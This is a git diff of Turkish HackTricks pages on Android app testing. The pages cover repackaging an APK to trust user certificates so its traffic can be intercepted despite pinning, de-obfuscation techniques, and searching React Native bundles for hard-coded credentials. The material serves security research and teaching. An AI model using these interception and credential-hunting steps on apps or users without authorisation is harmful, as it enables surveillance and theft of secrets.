||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
- **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
|
||||
- **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -20,31 +21,31 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
|
||||
***
|
||||
|
||||
Bazı uygulamalar kullanıcı tarafından indirilen sertifikaları beğenmez, bu nedenle bazı uygulamaların web trafiğini incelemek için aslında uygulamayı decompile etmeli ve birkaç şey eklemeli ve yeniden derlemeliyiz.
|
||||
Bazı uygulamalar kullanıcı tarafından indirilen sertifikaları sevmez, bu nedenle bazı uygulamalar için web trafiğini incelemek amacıyla uygulamayı decompile etmemiz, birkaç şey eklememiz ve yeniden derlememiz gerekir.
|
||||
|
||||
# Otomatik
|
||||
|
||||
Araç [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) uygulamaya gerekli değişiklikleri otomatik olarak yapacak ve isteği yakalamaya başlayacak ve ayrıca sertifika pinning'i devre dışı bırakacaktır (varsa).
|
||||
[**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) aracı, istekleri yakalamaya başlamak için uygulamada gerekli değişiklikleri **otomatik olarak** yapacak ve ayrıca sertifika pinlemesini devre dışı bırakacaktır (varsa).
|
||||
|
||||
# Manuel
|
||||
|
||||
Önce uygulamayı decompile ediyoruz: `apktool d *dosya-adı*.apk`
|
||||
Öncelikle uygulamayı decompile ediyoruz: `apktool d *file-name*.apk`
|
||||
|
||||
![](../../.gitbook/assets/img9.png)
|
||||
|
||||
Daha sonra **Manifest.xml** dosyasına gidiyoruz ve `<\application android>` etiketine gidip aşağıdaki satırı ekliyoruz (zaten yoksa):
|
||||
Ardından **Manifest.xml** dosyasına gidiyoruz ve `<\application android>` etiketine kadar kaydırıyoruz ve eğer yoksa aşağıdaki satırı ekleyeceğiz:
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
Eklemeden önce:
|
||||
Eklenmeden önce:
|
||||
|
||||
![](../../.gitbook/assets/img10.png)
|
||||
|
||||
Eklemeden sonra:
|
||||
Eklendikten sonra:
|
||||
|
||||
![](../../.gitbook/assets/img11.png)
|
||||
|
||||
Şimdi **res/xml** klasörüne gidin ve aşağıdaki içeriğe sahip network\_security\_config.xml adında bir dosya oluşturun / değiştirin:
|
||||
Şimdi **res/xml** klasörüne gidin ve aşağıdaki içeriklerle network\_security\_config.xml adında bir dosya oluşturun/değiştirin:
|
||||
```markup
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
|
@ -57,7 +58,11 @@ Eklemeden sonra:
|
|||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
Son olarak, yalnızca **yeni uygulamayı imzalamanız** gerekmektedir. [Onu nasıl imzalayacağınızı öğrenmek için bu bölümü okuyun: Smali - Decompiling/\[Modifying\]/Compiling](smali-changes.md#sing-the-new-apk).
|
||||
Sonra dosyayı kaydedin ve tüm dizinlerden çıkın ve apk'yı aşağıdaki komutla yeniden oluşturun: `apktool b *folder-name/* -o *output-file.apk*`
|
||||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
Son olarak, sadece **yeni uygulamayı imzalamanız** gerekiyor. [Bunu nasıl imzalayacağınızı öğrenmek için bu sayfanın Smali - Decompiling/\[Modifying\]/Compiling bölümünü okuyun](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -67,14 +72,14 @@ Son olarak, yalnızca **yeni uygulamayı imzalamanız** gerekmektedir. [Onu nas
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Sıfırdan kahramana AWS hacking öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **HackTricks'te şirketinizin reklamını görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**PEASS Ailesini**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,64 +1,50 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Manuel **De-obsfikasyon Teknikleri**
|
||||
## Manuel **De-obfuscation Teknikleri**
|
||||
|
||||
Yazılım güvenliği alanında, anlaşılması zorlaştırılmış kodu anlaşılır hale getirme süreci olan **de-obsfikasyon**, önemlidir. Bu kılavuz, de-obsfikasyon için çeşitli stratejilere ve statik analiz tekniklerine odaklanarak obsfikasyon desenlerini tanıma konusuna girer. Ayrıca, pratik uygulama için bir egzersiz sunar ve daha ileri konuları keşfetmek isteyenler için daha fazla kaynak önerir.
|
||||
**Yazılım güvenliği** alanında, gizlenmiş kodu anlaşılır hale getirme süreci olan **de-obfuscation**, kritik öneme sahiptir. Bu kılavuz, de-obfuscation için çeşitli stratejileri ele almakta, statik analiz tekniklerine ve obfuscation desenlerini tanımaya odaklanmaktadır. Ayrıca, pratik uygulama için bir alıştırma sunmakta ve daha ileri konuları keşfetmek isteyenler için ek kaynaklar önermektedir.
|
||||
|
||||
### Statik De-obsfikasyon Stratejileri
|
||||
### **Statik De-obfuscation Stratejileri**
|
||||
|
||||
Obsfike kodla uğraşırken, obsfikasyonun doğasına bağlı olarak çeşitli stratejiler kullanılabilir:
|
||||
**Obfuscated code** ile uğraşırken, obfuscation'ın doğasına bağlı olarak birkaç strateji uygulanabilir:
|
||||
|
||||
- **DEX bytecode (Java)**: Etkili bir yaklaşım, uygulamanın de-obsfikasyon yöntemlerini tanımlayıp bu yöntemleri bir Java dosyasında yeniden oluşturmaktır. Bu dosya, hedeflenen öğeler üzerindeki obsfikasyonu tersine çevirmek için çalıştırılır.
|
||||
- **Java ve Native Kod**: Başka bir yöntem, de-obsfikasyon algoritmasını Python gibi bir betik diliyle çevirmektir. Bu strateji, temel hedefin algoritmayı tam olarak anlamak değil, etkili bir şekilde çalıştırmak olduğunu vurgular.
|
||||
- **DEX bytecode (Java)**: Etkili bir yaklaşım, uygulamanın de-obfuscation yöntemlerini tanımlamak ve ardından bu yöntemleri bir Java dosyasında çoğaltmaktır. Bu dosya, hedeflenen unsurlar üzerindeki obfuscation'ı tersine çevirmek için çalıştırılır.
|
||||
- **Java ve Native Code**: Diğer bir yöntem, de-obfuscation algoritmasını Python gibi bir betik diline çevirmektir. Bu strateji, temel amacın algoritmayı tamamen anlamak değil, etkili bir şekilde çalıştırmak olduğunu vurgular.
|
||||
|
||||
### Obsfikasyonun Tanınması
|
||||
### **Obfuscation'ı Tanımlama**
|
||||
|
||||
De-obsfikasyon sürecinin ilk adımı, obsfike kodun tanınmasıdır. Anahtar göstergeler şunları içerir:
|
||||
Obfuscated code'u tanımak, de-obfuscation sürecindeki ilk adımdır. Anahtar göstergeler şunlardır:
|
||||
|
||||
- Java ve Android'de **dizelerin yokluğu veya karıştırılması**, dize obsfikasyonunu işaret edebilir.
|
||||
- Varlık dizinindeki **ikili dosyaların varlığı** veya `DexClassLoader` çağrıları, kod açma ve dinamik yükleme işaretleri olabilir.
|
||||
- **Tanımlanamayan JNI işlevleriyle birlikte yerel kütüphanelerin kullanılması**, yerel yöntemlerin obsfikasyonunu işaret edebilir.
|
||||
- Java ve Android'deki **string'lerin yokluğu veya karıştırılması**, string obfuscation'ı önerebilir.
|
||||
- **Assets dizininde ikili dosyaların varlığı** veya `DexClassLoader` çağrıları, kodun açılması ve dinamik yüklenmesi hakkında ipuçları verebilir.
|
||||
- **Tanımlanamayan JNI fonksiyonları ile birlikte native kütüphanelerin kullanımı**, native yöntemlerin potansiyel obfuscation'ını gösterebilir.
|
||||
|
||||
## De-obsfikasyonda Dinamik Analiz
|
||||
## **De-obfuscation'da Dinamik Analiz**
|
||||
|
||||
Kodu kontrol edilen bir ortamda çalıştırarak, dinamik analiz, obsfike kodun gerçek zamanlı olarak nasıl davrandığının gözlemlenmesine olanak sağlar. Bu yöntem, kodun gerçek niyetini gizlemek için tasarlanmış karmaşık obsfikasyon desenlerinin iç işleyişini ortaya çıkarmada özellikle etkilidir.
|
||||
Kodun kontrol edilen bir ortamda çalıştırılması, dinamik analiz **obfuscated code'un gerçek zamanlı olarak nasıl davrandığını gözlemlemeyi sağlar**. Bu yöntem, kodun gerçek niyetini gizlemek için tasarlanmış karmaşık obfuscation desenlerinin iç işleyişini ortaya çıkarmada özellikle etkilidir.
|
||||
|
||||
### Dinamik Analizin Uygulanması
|
||||
### **Dinamik Analizin Uygulamaları**
|
||||
|
||||
- **Çalışma Zamanı Şifre Çözme**: Birçok obsfikasyon tekniği, yalnızca çalışma zamanında şifrelenen dizeleri veya kod segmentlerini içerir. Dinamik analiz sayesinde, bu şifrelenmiş öğeler şifre çözme anında yakalanabilir ve gerçek formu ortaya çıkarılabilir.
|
||||
- **Obsfikasyon Tekniklerinin Tanınması**: Uygulamanın davranışının izlenmesiyle, dinamik analiz, kod sanallaştırma, paketleyiciler veya dinamik kod oluşturma gibi belirli obsfikasyon tekniklerinin kullanıldığını tespit etmeye yardımcı olabilir.
|
||||
- **Gizli Fonksiyonelliğin Ortaya Çıkarılması**: Obsfike kod, yalnızca statik analizle belirgin olmayan gizli işlevsellikler içerebilir. Dinamik analiz, koşullu olarak yürütülen tüm kod yollarının, böyle gizli işlevsellikleri ortaya çıkarmak için gözlemlenmesine olanak sağlar.
|
||||
- **Çalışma Zamanı Şifre Çözme**: Birçok obfuscation tekniği, yalnızca çalışma zamanında şifresi çözülen string'ler veya kod parçaları içerir. Dinamik analiz sayesinde, bu şifreli unsurlar şifre çözme anında yakalanarak gerçek halleri ortaya çıkarılabilir.
|
||||
- **Obfuscation Tekniklerini Tanımlama**: Uygulamanın davranışını izleyerek, dinamik analiz belirli obfuscation tekniklerini tanımlamaya yardımcı olabilir; örneğin, kod sanallaştırma, paketleyiciler veya dinamik kod üretimi.
|
||||
- **Gizli Fonksiyonelliği Ortaya Çıkarma**: Obfuscated code, yalnızca statik analizle belirgin olmayan gizli işlevsellikler içerebilir. Dinamik analiz, koşullu olarak çalıştırılanlar da dahil olmak üzere tüm kod yollarını gözlemleyerek bu tür gizli işlevsellikleri ortaya çıkarmayı sağlar.
|
||||
|
||||
## Referanslar ve Daha Fazla Okuma
|
||||
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
|
||||
* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
* Bu sunum, bir Android uygulaması tarafından kullanılan en karmaşık anti-analiz yerel kütüphanelerden birini tersine mühendislik etmeyi ele alır. Özellikle yerel kod obsfikasyon tekniklerini kapsar.
|
||||
* Bu konuşma, bir Android uygulaması tarafından kullanılan en karmaşık anti-analiz native kütüphanelerinden birinin ters mühendisliğini ele alıyor. Çoğunlukla native kodda obfuscation tekniklerini kapsıyor.
|
||||
* REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
* Bu sunum, yalnızca Java kodunda bir Android botnet tarafından kullanılan bir dizi obsfikasyon tekniğini ele alır ve bunların davranışlarını gizlemek için nasıl kullanıldığını tartışır.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>öğrenin!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
|
||||
</details>
|
||||
* Bu konuşma, bir Android botnetinin davranışını gizlemek için kullandığı yalnızca Java kodunda bir dizi obfuscation tekniğini tartışıyor.
|
||||
|
|
|
@ -1,62 +1,64 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# React Native Uygulama Analizi
|
||||
|
||||
Uygulamanın React Native çerçevesi üzerine inşa edilip edilmediğini doğrulamak için aşağıdaki adımları izleyin:
|
||||
Uygulamanın React Native framework'ü üzerinde inşa edilip edilmediğini doğrulamak için şu adımları izleyin:
|
||||
|
||||
1. APK dosyasının adını zip uzantısıyla değiştirin ve `cp com.example.apk example-apk.zip` ve `unzip -qq example-apk.zip -d ReactNative` komutunu kullanarak yeni bir klasöre çıkarın.
|
||||
|
||||
2. Yeni oluşturulan ReactNative klasörüne gidin ve assets klasörünü bulun. Bu klasörün içinde, React JavaScript'i minify edilmiş bir formatta içeren `index.android.bundle` dosyasını bulmalısınız.
|
||||
2. Yeni oluşturulan ReactNative klasörüne gidin ve assets klasörünü bulun. Bu klasörün içinde, minify edilmiş formatta React JavaScript içeren `index.android.bundle` dosyasını bulmalısınız.
|
||||
|
||||
3. JavaScript dosyasını aramak için `find . -print | grep -i ".bundle$"` komutunu kullanın.
|
||||
|
||||
JavaScript kodunu daha fazla analiz etmek için aynı dizinde `index.html` adında bir dosya oluşturun ve aşağıdaki kodu ekleyin:
|
||||
JavaScript kodunu daha fazla analiz etmek için, aynı dizinde `index.html` adında bir dosya oluşturun ve aşağıdaki kodu ekleyin:
|
||||
```html
|
||||
<script src="./index.android.bundle"></script>
|
||||
```
|
||||
Dosyayı [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) adresine yükleyebilirsiniz veya aşağıdaki adımları izleyebilirsiniz:
|
||||
Dosyayı [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) adresine yükleyebilir veya bu adımları izleyebilirsiniz:
|
||||
|
||||
1. Google Chrome'da `index.html` dosyasını açın.
|
||||
1. `index.html` dosyasını Google Chrome'da açın.
|
||||
|
||||
2. Geliştirici Araç Çubuğunu açmak için **OS X için Command+Option+J** veya **Windows için Control+Shift+J** tuşlarına basın.
|
||||
2. **OS X için Command+Option+J** veya **Windows için Control+Shift+J** tuşlarına basarak Geliştirici Araç Çubuğunu açın.
|
||||
|
||||
3. Geliştirici Araç Çubuğunda "Sources" (Kaynaklar) seçeneğine tıklayın. Ana paketi oluşturan klasörler ve dosyalara bölünmüş bir JavaScript dosyası görmelisiniz.
|
||||
3. Geliştirici Araç Çubuğunda "Sources" sekmesine tıklayın. Ana paketi oluşturan klasörler ve dosyalar halinde bölünmüş bir JavaScript dosyası görmelisiniz.
|
||||
|
||||
Eğer `index.android.bundle.map` adında bir dosya bulursanız, kaynak kodunu minify edilmemiş bir formatta analiz edebilirsiniz. Harita dosyaları, minify edilmiş tanımlayıcıları eşlemek için kaynak eşlemesi içerir.
|
||||
Eğer `index.android.bundle.map` adında bir dosya bulursanız, kaynak kodunu unminified formatında analiz edebilirsiniz. Harita dosyaları, minified tanımlayıcıları eşleştirmenizi sağlayan kaynak eşleştirmesi içerir.
|
||||
|
||||
Hassas kimlik bilgileri ve uç noktaları aramak için aşağıdaki adımları izleyin:
|
||||
Hassas kimlik bilgileri ve uç noktaları aramak için bu adımları izleyin:
|
||||
|
||||
1. JavaScript kodunu analiz etmek için hassas anahtar kelimeleri belirleyin. React Native uygulamaları genellikle Firebase, AWS S3 hizmet uç noktaları, özel anahtarlar vb. gibi üçüncü taraf hizmetler kullanır.
|
||||
1. JavaScript kodunu analiz etmek için hassas anahtar kelimeleri belirleyin. React Native uygulamaları genellikle Firebase, AWS S3 hizmet uç noktaları, özel anahtarlar gibi üçüncü taraf hizmetler kullanır.
|
||||
|
||||
2. Bu özel durumda, uygulamanın Dialogflow hizmetini kullandığı gözlemlendi. Onun yapılandırmasıyla ilgili bir desen arayın.
|
||||
2. Bu özel durumda, uygulamanın Dialogflow hizmetini kullandığı gözlemlendi. Yapılandırmasıyla ilgili bir desen arayın.
|
||||
|
||||
3. Keşif süreci sırasında JavaScript kodunda hassas sabit kimlik bilgilerinin bulunduğu şanslı bir durum oldu.
|
||||
3. Recon süreci sırasında JavaScript kodunda hassas hard-coded kimlik bilgileri bulunduğu için şanslıydınız.
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,89 +1,90 @@
|
|||
# Smali - Decompiling/\[Değiştirme]/Derleme
|
||||
# Smali - Decompile/\[Değiştirme]/Compile
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
